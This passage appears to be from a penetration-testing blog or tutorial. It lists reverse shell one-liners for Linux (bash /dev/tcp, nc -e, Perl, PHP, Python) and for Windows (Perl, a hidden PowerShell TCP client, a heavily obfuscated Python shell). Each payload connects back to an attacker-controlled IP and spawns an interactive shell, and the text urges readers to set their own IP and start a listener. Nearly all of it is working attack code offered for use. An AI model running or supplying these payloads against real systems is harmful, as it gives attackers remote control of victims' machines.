You can actually google "Reverse Shell One Liners" and get some really amazing results.

But let me share with you some of the common ones here itself *(Make sure to change the listening port and IP!)*

FOR LINUX:

-
  ```
  bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  ```

-
  ```
  sh -i >& /dev/udp/192.168.1.2/5555 0>&1
  ```

-
  ```
  nc -e /bin/sh 10.0.0.1 1234
  ```

-
  ```
  perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  ```

-
  ```
  <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1'");?>
  ```

-
  ```
  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  ```

FOR WINDOWS:

-
  ```
  perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  ```

-
  ```
  powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.2",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  ```

-
  ```
  C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('192.168.1.2', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and
  ```

```
[True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(),
type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self,
__exctype, __value, __traceback: [False for __out[0] in [((p.wait(),
(lambda __after: __after()))[1])]][0]})())))([None]))[1] for
p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in
[(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon
in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p,
args=[s, p]))]][0] for __g['p'] in
```

```
[(subprocess.Popen(['\\windows\\system32\\cmd.exe'],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
stdin=subprocess.PIPE))]][0])[1] for __g['s'] in
[(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'],
p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda
__this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if
True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s,
p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p:
(lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after:
(__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0)
else __after())(lambda: __this()) for __l['data'] in
[(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for
__l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in
[(__import__('os', __g, __g))]][0] for __g['socket'] in
[(__import__('socket', __g, __g))]][0] for __g['subprocess'] in
[(__import__('subprocess', __g, __g))]][0] for __g['threading'] in
[(__import__('threading', __g, __g))]][0])((lambda f: (lambda x:
x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```

Yeah, I know these windows ones look a bit complex compared to Linux ones.
But you can always google different methods. In the case of windows, there are MANY non-one-liner options as well.

So research them out yourself on the internet.
Again, Don't forget to start your listener, or you won't be catching any shells :)